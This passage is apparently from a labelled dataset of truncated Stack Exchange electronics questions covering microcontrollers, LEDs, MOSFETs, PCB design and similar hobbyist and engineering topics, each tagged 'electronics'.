a IP camera or any other webcams and transmit the video over the internet to a remote location through Ethernet? ",['electronics'] "Title: Need to make a continuous led glow [closed] Body: I want to make a LED circuit with the following specifications The LED shall glow when given voltage (by using push switch) The LED should glow even after releasing Push switch till the power supply ... ",['electronics'] "Title: Computer communicate with sensor directly without microcontroller [closed] Body: I wonder why an USB Webcam can work with minimum design for only 3$, it can send data from CMOS Camera to computer via USB connection and i can't find any additional microcontroller in the board. So ... ",['electronics'] "Title: PIC 18F4431 PWM Problem Body: I'm attempting get a very basic PWM code to work. However all PWM outputs seem stuck on +5V with no proper PWM output. It works perfectly in the simulator but not on the chip. Any ideas welcome? ... ",['electronics'] "Title: Synchronous circuit timing diagram Body: I am little confused on how to fill in this timing diagram for the above circuit. Can someone help me out? ",['electronics'] "Title: PIC18F2550 runs and then stops Body: I have a PIC18F2550 that I'm trying to get a simple hello world type program to run on. The code is configured to flash an LED on and off with 250ms delays in between the cycles. I have a 4Mhz ... ",['electronics'] "Title: General 3 Phase Motor Inductance Question Body: I know that motors are inductive loads. Does the inductance of a 3 phase motor depend on the load on the motor? ",['electronics'] "Title: What is the best rechargable battery for very low and variable current input? Body: Any recommendations for a battery that will last 5+ years, will have low self discharge, and will be able to charge off very low current inputs (10s of uAs)? It will be running a circuit designed for ... ",['electronics'] "Title: Light detector for row of LEDs Body: Today I created this circuit and it works fine: Now I want to replace the single LED with this row of LEDs: But after this all the LEDs have a low brightness. How can I get back the brightness ... ",['electronics'] "Title: SPI device prevents ISP programming Body: I have an ATmega8 with a Nokia LCD 5510 connected to it. Everything works great on a breadboard and my next step is to move it to a more permanent board. My problem is that I can't program the ATmega8 ... ",['electronics'] "Title: How to move lot of items with one microcontroller? Body: How to build a project that move lot of objects like this one http://www.youtube.com/watch?v=go2mZnRPqnQ ? Note : This question was different at the begining, but it was confusing and Anindo Ghosh ... ",['electronics'] "Title: Does adding thermal relief on PCB increase electrical resistance? Body: I am just getting started on PCB design (for fun) and came across this term called thermal relief. It increases thermal resistance so the components can be soldered easily. But according to what I ... ",['electronics'] "Title: Does iverilog support SystemVerilog keywords? Body: I was running a test case for iverilog provided at this link and had posted a question earlier. When I tested iverilog with uart test case further, found that in uart_tb.v, we are using file ... ",['electronics'] "Title: A 4.8v reading on a loose pin 0? Body: I have a setup that demands that I use all my I/O's on my Arduino Uno R3 board - including the serial pins 0 and 1. So I've initialized those pins as inputs, but when I make a reading on pin 0 it ... ",['electronics'] "Title: Can't write more than one byte to the SST39SF010A Flash! Body: I use code composer to program the TMS320C31 DSP (through MPSD) to write to the SST39SF010A flash. I can successfully write one byte to any location of the flash by following the ""Chip Erase"" then ... ",['electronics'] "Title: ATTiny Circuit only works when connected to AVR ISP Body: I've got a very simple circuit (as you can see from the diagram below) with an ATTiny45 and a piezo buzzer. Everything worked great as I was testing it out and had the ISP (an AVR ISP MkII) attached. ... ",['electronics'] "Title: Difference between Ground and Neutral line Body: I'm learning about electrical engineering and I'm confused about the difference between ground and neutral line. What's different between them? Ok, I've edited this question for everyone can ... ",['electronics'] "Title: How do I know the maximum voltage that a capacitor releases? Body: From what I understand, a capacitor is used to store electric charge and when it is fully charged it can release electricity. When I looked at a capacitor, I found two pieces of information on it: ... ",['electronics'] "Title: cooktop touch buttons [duplicate] Body: How cooktop buttons works? In this picture can see circles (marks) from control board. Here are control board with buttons. If i touch that black ""buttons"", it is like dish wash sponge. How that ... ",['electronics'] "Title: Marginal input capacitor on a regulator Body: I have a (unregulated) wall wart that feeds into a regulator circuit. The wall wart is rated 24V nominal, and measures 23V when open with a multimeter set to DC. When connected to the regulator it ... ",['electronics'] "Title: Trying to replace a Sun 1/2 amp mini fuse Body: I am trying to replace a fuse on a board and I'm a novice. The fuse itself is labeled ""Sun 1/2 amp"" and looks similar to ceramic, although I am not certain of this. It is held to the board by 2 leads. ... ",['electronics'] "Title: Water Sensors Outdoor Analog Body: Problem: I own a home that I'm not always at, It rains there a lot and I need a way to monitor if there is rain by using a sensor so i can turn on a pump to move the water away from my house. ... ",['electronics'] "Title: Decimal counter in VHDL? Body: I would like to implement a decimal counter that will count from 0 to 9999 on the LED display on a Digilent BASYS2 board. Can somebody help me how to solve this problem? ",['electronics'] "Title: Parallel MOSFETs and Gate Drive Capability Body: I'm trying to design a Full-Bridge which can handle upto 330 A (@ 12V). I'm paralleling 3 MOSFETs per leg, and I think I've found a low enough RDS(on) MOSFET to make this somewhat practical. Here's a ... ",['electronics'] "Title: Optocoupler | Why a resistor is required in the collector? Body: In this circuit, if the resistor in the collector R1 is 0 Ohms, the circuit doesn't work. That is, the output will be 12V DC signal as it is from the battery. And if R1 is non-zero, then the circuit ... ",['electronics'] "Title: I am trying to understand PLL loop bandwidth, could you clarify these points Body: For a PLL in short, 1) What controls loop bandwidth? 2) What impact does it have on output phase noise/jitter? 3) What impact does loop bandwidth have on PLL lock time? I am trying to find answers ... ",['electronics'] "Title: How to get HT12D to default state? Body: I have made following project using a Holtek HT-12D decoder: My problem is that when I press any switch on the transmitter and cut power to the transmitter by holding push switch, the receiver end ... ",['electronics'] "Title: Relationship between FFT in dB and spectrum analyser output in dBm Body: I am trying to calibrate my RF daughter board in USRP software defined radio. I am trying to measure transmitted power for different frequencies at a certain set gain and transmitter amplitude. When I ... ",['electronics'] "Title: pre guidance for designing motion-sensor to transmit data to my computer wirelessly [closed] Body: I'm a 500% newbie to electronics, but I love to do it as a hobby. So I want to build a circuit (a really small in size would be much better) with a motion sensor that can communicate data to my ... ",['electronics'] "Title: What battery is lightweight and has a lot of power? Body: I'm creating an Arduino project, for that project I'm looking for batteries like the ones used to power scooters or electric wheelchairs, so powerful that they can carry the weight of a human and last ... ",['electronics'] "Title: High resolution system timer in STM32 Body: I have some software running on an STM32F103 (I'd also like to be able to use the F4) where I'd like to be able to 'timestamp' events (such as interrupts on external pins) to the nearest microsecond ... ",['electronics'] "Title: What are the characteristics of a memristor? Body: This is an in-spirit follow-up to my earlier question. So I'm an electronics hobbyist, and I've been curious for a while about the proposed new component, the memristor. My research has turned up ... ",['electronics'] "Title: What is the data register address for GPIO pin 21 Cortex ARM M0? Body: I need to find data register address for GPIO pin 21 Cortex ARM M0? I feel this question can need some background. I am learning embedded MCU programming and most sources mention that I need to find ... ",['electronics'] "Title: Arduino leonardo keyboard emulation fail at boot Body: I'm using this code to use leonardo as keyboard: ... ",['electronics'] "Title: Turn on led with button for a period of time and turn off if button is pressed again [closed] Body: I cannot figure it out how to write the code for the next situation: I have a variable stayON = 5000; (5 seconds) that is used to turn on an LED for 5 sec after a button is pressed then turn it over ... ",['electronics'] "Title: Designing a MOSFET circuit for low pass filtered PWM operation and with saftey considerations Body: I am designing a circuit at the moment and, as part of that, I need to be able to run 4 12VDC fans (which i will run in parallel) with an operating current of 150mA and a starting voltage of 4.5V. My ... ",['electronics'] "Title: Problems Getting NPN Bipolar Transistor to Switch On Body: I am working on a circuit that controls the power to another circuit. As you can see in the schematic, when the switches are closed, current runs through the circuit, and no positive voltage is ... ",['electronics'] "Title: Trying to understand why power equation and ohm's law equation aren't agreeing Body: Hobbyist EE-in-training here. I've been doing some simple problems to reinforce my knowledge of ohm's law and I've run into a snag - A stereo speaker has a resistance of 8.00 Ω. When it is ... ",['electronics'] "Title: Verilog - variable number of inputs/outputs Body: Is there a way in verilog to do the following? I have a variable number of FIFOs (1 to 4) created with a generate statement inside of a module pseudocode: ... ",['electronics'] "Title: Does solid/multi-stranded/Litz wire make a difference in binary serial output? Body: I'm using two shift registers to control 16 digital outputs using only 3 pins on my microcontroller. The parallel outputs carry <= 20 mA DC, their sole purpose is to power LEDs. My microcontroller ... ",['electronics'] "Title: Can I use Arduino to alert by sound or LED when it detects a certain voltage Body: Can I use a Arduino board to alert me when voltage reaches 2.4v to 2.5v DC? Can I use a Arduino board to alert me when voltage reaches 0.7 mV sine or co-sine Ac? Or will I need sensors? ",['electronics'] "Title: Electric car “J1772” charger - “pilot” signal sequencing with passive circuitry Body: J1772 Some background: Many electric cars are designed to use a ""J1772"" charging point. The main signal in the J1772 specification is called the pilot. Long story short, the car is expected to ... ",['electronics'] "Title: What is return current of crystal oscillator? Body: I belive that every signal on the PCB has its return current. One layout hint for crystal oscillator is that ""The ground connection for the load capacitors should be short and avoid the return ... ",['electronics'] "Title: Digital Electronics Simulator Body: What online tool can I use to tinker with circuit boards / dimmers / buzzers etc? I'm wanting to learn more about electronics without spending too much time & money on buying parts I'll only use ... ",['electronics'] "Title: Mass storage mode for an SD card connected to a MSP430G2553 chip? Body: Right now I have a program that stores values obtained from the on chip ADC to a SD card. The card is connected like the diagram shown in this PDF: http://www.ti.com/lit/an/slaa281b/slaa281b.pdf I ... ",['electronics'] "Title: LED brightness control using PWM according to temperature of RTD/PTC/NTC thermistor Body: I am working on this project. Everything is going okay; I am generating PWM using a 74HC14 IC and I have used a potentiometer to vary the brightness of LEDs until now. The actual problem arises when ... ",['electronics'] "Title: Using a MOSFET to turn on a car alarm siren Body: I'm trying to control a 130dB siren with a pic microcontroller. I figured the best way to do this was with this MOSFET since the siren pulls about 1A. I had some problems when connecting this to the ... ",['electronics'] "Title: Flyback Diode Placement Body: In a circuit I'm making I will be using an Arduino to switch a solenoid using a transistor(TIP120). I know I need a flyback diode as shown in basically every example. My question is, is there a limit ... ",['electronics'] "Title: Bipolar transistor static forward current transfer ratio Body: My book (teach yourself electricity and electronics) talks about the static forward current transfer ratio ... ratio of collector current v.s. emitter current when we place the base at electrical ... ",['electronics'] "Title: Analyzing the Protocol Body: I am trying to understand a protocol (shown in figure 1) . For now this I have understood that data is transferred at high to low clock. as shown in figure. and the sync is for every 8-bit. But then ... ",['electronics'] "Title: How can i port this Lib(ProGFX) to CodeVision(compiler)? Body: i want to port this library to CodeVision(compiler). http://progfx.org/ How can i do it? ",['electronics'] "Title: Ideal D Flip Flop Body: I am a little confused about this homework question: When assuming that an D Flip Flop is ideal, which of the situations are possible? While testing a circuit, the signal Q is observed changing as ... ",['electronics'] "Title: charge extraction from solar cells in low light conditions Body: This is probably not that deep a question, but how can one extract power from panels in low light? A 6V panel would dip to ~2V or so, and power output would sink lower. In conventional systems, how is ... ",['electronics'] "Title: Bluetooth Module for RFCOMM Channel Body: I need to find a Bluetooth 2.1 + EDR module that will allow a uC to communicate directly over an RFCOMM channel once it has been established. The problem is I can only find modules which implement ... ",['electronics'] "Title: Relay to switch 50 lines at once? Body: I'm looking to allow two cartridges to be inserted into a slot that normally only accepts one (more specifically, Nintendo 64 cartridges). I can't just toggle the power lines to each cartridges ... ",['electronics'] "Title: Low side Current sensor design Body: I need a suggestion on a good amplifier design for a current sensor. The requirement is: Operating voltage between 2.7 to 6.0V Able to output 3.3V when a 10A current is flowing through sensing ... ",['electronics'] "Title: Limiting the input current with voltage divider Body: I would like to measure two signals with a microcontroller ADC: 0 to 5V, 5MHz -36 to +36V 100Hz simulate this circuit – Schematic created using CircuitLab I want to draw as small ... ",['electronics'] "Title: Current Sensing Transformer Overload Body: When using a AC Current Sensing Transformer (5A MAX) what will happen if a current larger than the maximum rating is utilized (like 15A). Will the readings simply be out of range or is there greater ... ",['electronics'] "Title: just had an Arduino UNO bootloader replacement. Computer still won't recognize it Body: Before I get any thumb-downs, I would like to mention that I have read all the questions posted regarding the issue I have, but none of them had a working answer to my problem. Here's my problem: I ... ",['electronics'] "Title: Pull signal low using a pic microcontroller Body: I'm working with a ADH8066 GSM Module and a PIC16F688. I want to reset the ADH8066 using the ON_KEY pin which is described as: ... ",['electronics'] "Title: DC Motor driver book/tutorial Body: I intend to build a motor driver (H bridge) for an http://banebots.com/pc/MOTOR-BRUSH/M5-RS550-12 motor. Can anyone suggest me: An already built driver which I could analyze - to understand ... ",['electronics'] "Title: Replace 78L05 with 7805 Body: I have a car cigarette extension cord with a USB out on it as well. The USB out though will not charge my phone, which is a bit annoying. I had a look at the circuit inside in the device and it looked ... ",['electronics'] "Title: Circuit to switch power when detecting current (40mA/12V) Body: I am looking for a way to supply power to some consumers (sensors) only while another consumer (datalogger) draws power. All consumers run from the same 12v car battery. The datalogger wakes up ... ",['electronics'] "Title: Time Warp - Controling an analog clock from another room Body: My goal is to be able to spin an analog clocks hands forwards and backwards through a controller box that I build and wire to an analog clock. To accomplish this I imaging that I need a small hobby ... ",['electronics'] "Title: What type of potentiometer to use? Body: I'm making a Metal distortion pedal ill be using 6 potentiometers POT1 Distortion 250K POT2 low freq control 100K POT3 high freq control 100K POT4 mid 100K ... ",['electronics'] "Title: 4 pole 3.5mm audio cable to a single pole compatibility [closed] Body: A very simple question. I just want to understand how a 4 pole TRRS jack works. Say I have a 4 pole extension cable (male-female) that Id like to use with a mic on one end and the other end to ... ",['electronics'] "Title: Changing Low Frequency to High Frequency [closed] Body: Is there any kind of circuit that could take 60Hz and completely change it to some higher frequency using ONLY inductors, capacitors, and resistors? ",['electronics'] "Title: Transistor as switch dropping voltage Body: I'm using an Arduino to drive two hobby servos but they draw too much current when not in use so I'm trying to use a transistor as a switch to cut the power to them when not needed. simulate ... ",['electronics'] "Title: 7 port powered USB hub backfeeding to my PC Body: I just bought two 7 port usb hubs: LogiLink UA0124. Just to run into a strange situation. I did some servicing to my PC today and disconnected the main power cord from the PSU. Only to find out that ... ",['electronics'] "Title: Calculating Volts and acceleration from an accelerometer Body: I am using a Zephyr Bio-harness 3 device as an accelerometer project I'm working on. The device outputs in ADC units and I'm not sure how to convert these units into volts or gs. The specs of the ... ",['electronics'] "Title: Single RFID reader w/passive tags for long (2m) AND short (1cm) range? Body: I am looking to build an RFID system that includes both long range and short range readers. One passive RFID tag will be used for both readers. I've considered using two tags but it is not the ideal ... ",['electronics'] "Title: Need help understanding charlieplex circuit Body: I understand the principle behind charlieplexing, however I don't understand how the circuit below works. Say I wanted to illuminate LED5, wouldn't I set Pin1 to OUTPUT-LOW, Pin2 to INPUT, and Pin3 to ... ",['electronics'] "Title: How does one compute the ripple currents seen by an active PFC output capacitor? Body: Suppose one is designing a single-phase power-factor-corrected power supply, with a known average current load: The ripple current seen by the output capacitor is critical. If that current is too ... ",['electronics'] "Title: Varistor S10K30 for 24-40VDC input? Body: I was put in charge of redesigning a motor control circuit which accepts 24-40V DC on its input. As a side note: As far as i know, the existing circuit has been working fine for several years. The ... ",['electronics'] "Title: SOT23-5 Package vs SOT23-5L…Differences? Body: I'm designing a board which uses an LDO that comes in the SOT23-5 package. I have these parts in my possession, and on the part label (from Digikey) it displays that it is a SOT23-5, which makes ... ",['electronics'] "Title: Noise issue in measuring current from dc motor through current sensor Body: I am working on a project where I control PMDC motor by switching on/off through mosfet (PWM control) by DSP controller, also I measure real-time current of the motor using LEM (LTS-15-NP) current ... ",['electronics'] "Title: is an electronic device/component really burn? Body: I often read/hear that ""my device is burnt"" or ""... component is burnt due to over voltage"" or "".. ESD (board) is burnt when I hold it"" etc. I wonder why ""burn"" is used to describe it? Is something ... ",['electronics'] "Title: Additional signal plane vs lots of vias Body: I have a circuit that I am currently designing using a 4 layer PCB (signal, ground, power, signal). The PCB has rather a lot of vias to route the signals around the board (there are size constraints, ... ",['electronics'] "Title: Interface/pinout of a smartphone camera module? Body: I am wondering where, if any, I can get information regarding interfacing/connecting with a smartphone camera module. For example, this camera module is a replacement for SGS4 and I can clearly see ... ",['electronics'] "Title: What is a “touch channel”? Body: Among the ATmega328 ""key parameters"" is listed: # of Touch Channels: 16 What does this number refer to? ",['electronics'] "Title: which books should i refer for embedded systems? [closed] Body: i am in second year of mechanical engineering and i want to learn about embedded systems and to program them.from where should i start? which books to refer? is it possible to learn it without any ... ",['electronics'] "Title: Schematics for device, which reacts to water? Body: After failed attempt to combine a resistive wetness sensor with a multivibrator ( How to trigger multivibrator (or similar) from collector? ), I'd like ask a direct question. What could be schematics ... ",['electronics'] "Title: Electronics Books [duplicate] Body: I am earching for a good book for electronic devices and circuits. Details about 'dc' as well as 'ac' biasing are what I am interested in. If you could guide me to a good book, it would be wonderful. ... ",['electronics'] "Title: Suggestion in interfacing CT to microcontroller Body: I am working on interfacing CT to PIC 18f4550 controller. Please find below my rough circuit diagram. my questions are i)the Recommended Secondary Burden is 47 ohm. i have used in my circuit as 200 ... ",['electronics'] "Title: Target type std.standard.bit in variable assignment is different from std_logic_1164.std_ulogic? Body: Sorry if the format is not good but I'm new with that.. I'm trying to select a bit from an unsigned signal to be assigned to a bit variable but it doesn't work!! I've tried to assign it in a process ... ",['electronics'] "Title: multiple solenoid activation Body: I have made some flat strip solenoids of my own.There are about 15 of them and I want to alternately switch group of 6 & 7 or group of 3 solenoids for 5 times successively.I want to know which ... ",['electronics'] "Title: Reflow oven - resistive heating element or infra-red Body: I'm looking at making a reflow oven and have just found out the toaster oven I have bought uses a standard conduction heating element rather than infra-red. The knob used for temperature control goes ... ",['electronics'] "Title: Any wireless technology to find the distance between transmitter and receiver Body: I have a static transmitter and a mobile receiver. Is there any wireless technology to find the distance between the two in real time. Apart from using gps! ",['electronics'] "Title: ADC Value from load cell to MSP430 not correct Body: I have a 1000lb load cell (LC302 from omega) being fed through an INA125 OPAMP then to the ADC10 of a MSP430G2553 with 2.5V as reference. 2.5V is coming out of the OPAMP that's being fed into the ... ",['electronics'] "Title: Value of the link register when interrupt occurs Body: and reading the exception and interrupt handling chapter of the ARM system design book. I have noted that link register is not always pointed to the next resume instruction. So it should be added or ... ",['electronics'] "Title: unexpected output values during frequency measurement with arduino Body: Hi I'm trying to measure the frequency of an analog input. A electret microphone breakoutboard https://www.sparkfun.com/products/9964 is plugged into the A0 port. I use this code I found in a pretty ... ",['electronics'] "Title: Can a USB receiver be used as a USB drive? Body: I have an old Mini receiver for an old mouse and keyboard from Logitech and I was thinking if somehow it can be used as a USB drive to store some data. Could this be done somehow? If there is some ... ",['electronics'] "Title: How to make a circuit to run DFRobot with a Netduino Body: So I ordered a DF Robot kit and got some help to put it together. I want to control the wheels with my netduino. What I want to do is simple. Press the netduino's button, and start the 4 wheels in ... ",['electronics'] "Title: Using an Op-amp as comparator Body: I have a dual op-amp that I want to use as a comparator: Vin should be compared to Vref (1/2 VCC). This is the circuit that I am using (as I have a dual op-amp, I am using a voltage follower on the ... ",['electronics'] "Title: Solar battery charger based on LT3652 Body: I realized a solar battery charger circuit based on LT3652. Actually it doesn't work well, but I think I made some project error. In fact it doesn't reach the end of charge status. But first of all I ... ",['electronics'] "Title: What limits wireless data transfer rates (compared to wired)? Body: A friend and I were discussing the possibility of wireless video cables and we quickly realized that the bottleneck is the current data transfer rate of wireless technology. The average wireless ... ",['electronics'] "Title: How can a chip power up, recieve, send information with only 2 pins? Body: On my 3D printer(cube)'s cartridge there is a chip with only two pins. The 3D printer can through those 2 pins tell how much plastic it's left in the cartridge. My question is: How can a chip power ... ",['electronics'] "Title: How does power in “wall wart” power supplies work? Body: I'm new to electronics and am having trouble understanding how power supplies convert 120AC into a safe, manageable DC voltage. So far, I understand that there's a transformer to step the voltage ... ",['electronics'] "Title: LED to mount securely in little space (< 5mm)? Body: The picture shows a 2mm wooden board, 4.63mm deep and 9.86mm wide. Below the board there is 3mm clearance for wires. Above the board, there is 5mm of free ""air space"". Behind the wooden board is a ... ",['electronics'] "Title: Eagle 4 layer pcb Design Rule formula Body: I am designing motherboard for my preamplifier project and I want to setup PCB as follows: 1st layer will contain digital and analog power supply 2nd layer will be used for digital connections 3rd ... ",['electronics'] "Title: Choosing Fuses or MCB in 24VDC vehicle circuit Body: I am currently designing a 24VDC circuit for a small vehicle. I personally prefer using MCB's since they are simple to reset and easy to detect faults in the system, although i do find it rather hard ... ",['electronics'] "Title: Unable to compile (build) code with MPLAB for PIC with CCS C compiler Body: I'm a newbie trying to lean PIC, i downloaded MPLAB and MPLAB X ide . Ihave done this around 100 times and looked over web enough before asking this question, but my code is not compiled and it is ... ",['electronics'] "Title: Whether a battery stores energy or simply it converts chemical energy into electrical? Body: A battery is a simple thing but I'm afraid, the concept just doesn't work in my mind. The confusion is basically that whether it stores energy or simply it makes it by converting chemical energy into ... ",['electronics'] "Title: Open and Short Circuit tests of Transformers Body: I have knowledge that a transformer in Open ckt is used to find Copper loss and Short ckt is used to find Iron loss But I don't know how to interpret the result of such tests? Further what do ... ",['electronics'] "Title: How to calculate the required number of FPGA logic elements? Body: I have a Lynxmotion hexapod which uses hobby servos for each of its 18 degrees of freedom (DOF). The basic problem with this is that I cannot get data on the joint angles. I have modified the servos ... ",['electronics'] "Title: ADH8066 with Bus Pirate Body: I have an ADH8066 GSM module that I'm trying to get up and running. I'm powering it with 4V (via a 2A adjustable regulator), and I'm using a Bus Pirate connected to its RX0 and TX0 lines. I'm not ... ",['electronics'] "Title: How to place components automatically according to a script in eagle cad? Body: I am using eagle cad to design a clock with smd leds .There are 60 leds and i'll place those leds on a circle pattern which like an analog clock is there any way i can do this easily like a script or ... ",['electronics'] "Title: How to calculate the power dissipation in a transistor? Body: Consider this simple CircuitLab sketch of a circuit (a current source): I'm not sure how to calculate the power dissipation across the transistor. I'm taking a class in electronics and have the ... ",['electronics'] "Title: Negative Voltage Body: I understand that negative voltage is relative to ground so -5v means 5v bellow ground, But, if in my case ground is earth, does that mean that -5v will draw 5v from a device. What will happen if I ... ",['electronics'] "Title: How to draw current from a telephone line? Body: My landline phone comes with a lcd display caller id and clock. Even if I remove the 2 AA 1.5V batteries, the lcd still shows time even if I'm not busy on a call. The lcd has no other source of power ... ",['electronics'] "Title: To what extent can an FPGA be “configured for desired use”? Body: If the title is off putting, I will elaborate. Some say that if you want a custom CPU you can ""customize"" it with a field programmable IC, AKA, field programmable gate array. But to what extent? And ... ",['electronics'] "Title: Why might a multimeter ask for “wrong” fuse sizes? Body: Why might a multimeter ask for the ""wrong"" sizes of fuses? On the front of my Fluke 87 multimeter, the two probe ports for amperage are labeled as fused at 10A (max) and 400mA (max). When opening the ... ",['electronics'] "Title: gschem/SPICE value attribute for LED and BC546 Body: Hello everybody out there using gEDA/gschem, What attributes do I have to use for a (red) 5mm LED (looks pretty much like a standard one to me) and the BC546 transistor in gschem in order to export a ... ",['electronics'] "Title: 1.5V “amplified ear” debugging Body: I've tried to make this circuit, a 1.5V audio amplifier. I've omitted P1 and directly connected C6 to C3 as stated in the page. I've also omitted the switch SW1 and connected a wire for the path ... ",['electronics'] "Title: What is the “DC OK” relay used for on a power supply? Body: I am using a Meanwell SDR-120-12 power supply for a project. I noticed it has terminals for ""DC OK"" which the datasheet refers to as a relay contact rated for 60Vdc/0.3A, 30Vdc/1A, 30Vac/0.5A ... ",['electronics'] "Title: Best interface to read voltage signal on PC? Body: I have a device that generates a 6.2 vdc pulse (from 0 vdc) periodically and would like to store the time between pulses with microsecond resolution. I don't care what the length of the signal is, ... ",['electronics'] "Title: What are some inexpensive easy to use SPI devices I can experiment with? [closed] Body: Introduction I'm completely new to EE, but have decades of software development experience. I want to learn to interface with multiple SPI devices on a single SPI interface on a Raspberry Pi. I'd ... ",['electronics'] "Title: Adjusting a design already found on here Body: I found a design found here How to cut power off when a certain voltage from a sensor is reached? and the last diagram is EXACTLY as I'd like to build but for 10 times the voltage. Anyone able to ... ",['electronics'] "Title: Difference between current source and voltage source [duplicate] Body: I know that the two poles of a battery connected in a closed circuit would act as a voltage source. This is because the +ve terminal is at a higher potential compared to the -ve terminal. This is what ... ",['electronics'] "Title: Create own bluetooth device: do I need a micro? + others Body: I'm in the design stages of a bluetooth device I want to create but I have a few questions. I'm a BIT(literally 1 bit, 01) familiar with electronics, I can program though so keep that in mind. My ... ",['electronics'] "Title: how to drive a VCSEL? Body: I want to drive a VCSEL with the MAX3795 driver, but this ship has a very complicated circuit on it pins. Is there is another available driver with a simpler circuit that i can use ? ",['electronics'] "Title: Digital bathroom scale circuit - how it works? Body: I'd like to understand how the digital bathroom scales work. I was able to gather that there are four three-wire load cells connected into the Wheatstone bridge as suggested below. The load cells have ... ",['electronics'] "Title: Should my NiMH battery powered circuit/device switch power sources when charging? Body: Details --------------------------------------------------------------------------- Battery Supply: 2.4V (2x NiMH 1.2V - 1500mAh batteries ) Charging Supply: 5V (USB Power Adapter / Wall Wart) ... ",['electronics'] "Title: ST-Link and my STM32F051 board not connecting each other Body: I've designed my first board for an STM32F051. When I connect the SWD pins to the ST-LINK, it doesn't connect. The STM32 ST-Link Utility says ""Internal command error"". I think I have all the ... ",['electronics'] "Title: PI loop design for 2nd order system Body: I have a plant system which is 2-pole and 0-zeroes for which i want to control two different parameters. So, I'm trying to design two PI loops in feedback one for each parameter which will make ... ",['electronics'] "Title: How to make own device in Proteus Body: Come on, people of electronics.stackexchange.com! Someone has to know Proteus well enough. Is that even possible to make? I made a scheme of 16-bit decoder in ISIS by AND's, XOR's etc. and now I ... ",['electronics'] "Title: Using single delay in LED blinking Body: The following code basically blinks yellow LED on MSP430 Launch Pad on port 1.6. I had to use two do-while loops for providing delays. Is there a way I can do this using a single do-while ? ... ",['electronics'] "Title: Charged capacitor doesn't allow impulses to pass Body: I tried this circuit and was confused about the theory of capacitors. Here's what I'm supposed to do: on pressing S1, the capacitor is charged and the led blinks for a second. On pressing S2, the ... ",['electronics'] "Title: Can I replace an AT28c17 with a CAT28c65B without changing my software? Body: The AT28c17 is a 16k e2prom while the CAT28c65B is 64K bit e2prom and both are in a 32 pin PLLC package. They have 10 adresss lines with the only difference being the AT28c17 has A0-A10 adress lines ... ",['electronics'] "Title: proximity sensor technology, range of 150mm Body: I am searching for a sensor for an embedded application that senses only presence of metal (steel) at distances of 150mm. The sensor must be sampled at 500hz (minimum). I have been searching for an ... ",['electronics'] "Title: Can a pull down be used to tie a line to ground? Body: From my recent introduction to pull-up/pull-down resistors, I understand that an input with a pull-down will stay low instead of floating. Since the pull-down resistor leads to ground, couldn't I ... ",['electronics'] "Title: Mini/electrics problem Body: I have a voltage of 9v output from a solar panel and another 2v from a stepper motor wind mill, if I connect the two together will the output then be 11v? ",['electronics'] "Title: Low input voltage noise nV/√Hz Body: I am using ADA4937 as the driver circuit to my 14 bit high speed ADC. A term in the datasheet is Low Input Voltage Noise is used which is 2.2nV/√Hz. Please explain the importance of this term and unit ... ",['electronics'] "Title: At least one of the ISR vector was detected to be un-initialzed Body: This is the program for blinking Red LED on port P1.0 on MSP430 Launchpad ... ",['electronics'] "Title: N Connector - Best mount for PCB and how? Body: Up until today i've ezperimented with antennas by basically taping the coax endpoint to my breadboards and it's been working ""so so"" and I'm looking for a PCB connector for my N Connector cable. Any ... ",['electronics'] "Title: DSPIC30F4011 - Pin labled as “Alternative”, can I use it? Body: I am using a DSPIC30F4011 PIC ( datasheet ) to send commands to three devices (one Bluetooth, model RN42 and two LED Drivers, model TLC5947). In the data sheet for this PIC (on page 13), it has three ... ",['electronics'] "Title: Determining the best UV exposure time Body: I would like to manufacture DIY PCB. I am planning to make a UV box like on this link, then I wonder how I can determine the best UV exposure time? or if I use the Sun as the UV source, how I can ... ",['electronics'] "Title: Two nRF24L01+/Arduino UNOs don't connect Body: I am trying to establish simple ping/pong communication between two nodes connected on two arduino UNOs using this guide http://maniacbug.wordpress.com/2011/11/02/getting-started-rf24/ and the RF24 ... ",['electronics'] "Title: Gain in Sallen-Key filter Body: How can we increase the passband gain in a Sallen-Key type low pass / high pass filter, preferably without using additional op-amps. ",['electronics'] "Title: Memory management problems with ATTiny85 Body: The setup is as follows: I have a little program to drive single color 8x8 led matrix using 595 shift registers that are supplied with data by ATTiny85 through USI as SPI Master. I upload program to ... ",['electronics'] "Title: VHDL: enumeration types in entities of submodules? Body: I have a top level module and an enumeration type declared there. Now I created several submodules (with an IN port of the that type) and instantiated them. However, resolving the enumeration type in ... ",['electronics'] "Title: Strange characters in two arduinos trying to connect with nRF24L01+ Body: am trying to connect 2 nRF24L01+ modules that just arrived in my inbox with 2 arduinos. I am using the RF24 library with client in one and server on the other, pingpair, scanners. On ALL of them I am ... ",['electronics'] "Title: What Modulation does weather radio use? Body: Here is the official site which says the frequency which weather radio broadcasts at (around 162 Mhz). The site doesn't say anything about modulation though. What modulation is used in this radio ... ",['electronics'] "Title: Use AVR Watchdog like normal ISR Body: I'm trying to wrap my head around the watchdog timer on the ATTinyX5 series. So things I've read made it seem like you could use it for making the program do something specific ever N seconds but ... ",['electronics'] "Title: RPR-220 photosensor to logic level? Body: I have RPR-220 reflective photosensor, which transistor's part I connect to 2v via 10 Kohm resistor. Emitter is then connected to the base of a transistor C547B, which for the test setup uses LED + ... ",['electronics'] "Title: using 2 9v batteries in series for a 12v lamp? [duplicate] Body: I have a 12v 1,2w lamp, but applying 12v to it only lights it up dimly. When I put 2 9v batteries in series it lights up perfectly though and it doesn't seem to damage the lamp - at least not yet. ... ",['electronics'] "Title: Temperature compensation of LSM303DLHC accelerometer / magnetometer Body: ST Microelectronics makes the LSM303XXXX, a popular range of 3-axis accelerometer / magnetometer sensors that are used on Arduino breakout boards, etc. The older LSM303DLH sensor has been replaced ... ",['electronics'] "Title: Purpose of “wave shaped” PCB traces Body: On some PCB designs, specific traces are routed in curios ways. This probably has to do with high frequency design considerations and general signal behavior that i am not familiar with. Lets take ... ",['electronics'] "Title: arduino-tiny: change TIMER_TO_USE_FOR_MILLIS from sketch Body: In the arduino-tiny core, is it possible to change TIMER_TO_USE_FOR_MILLIS in the sketch itself? I want to be able to leave my arduino-tiny install stock but swap the timers just for one sketch. ... ",['electronics'] "Title: GPS SOS Signal Device Body: Is there a way to send GPS coordinates from one device to another, without the use of any kind of cell service? What I'm attempting to design is a device that connect to a motorcycles' tip-over ... ",['electronics'] "Title: Dell dimension 5100 capacitor problem Body: Can I swap the 820uf 6.3v capacitor on a Dell motherboard with any 820uf 6.3v bought from a local electronics store or are there other characteristics of the capacitor that I have to take into ... ",['electronics'] "Title: Using BSS138 in Level Switcher Body: I am trying to interface 1.8v UART and 3.3v UART using NXP app note here. Unfortunately, my circuit 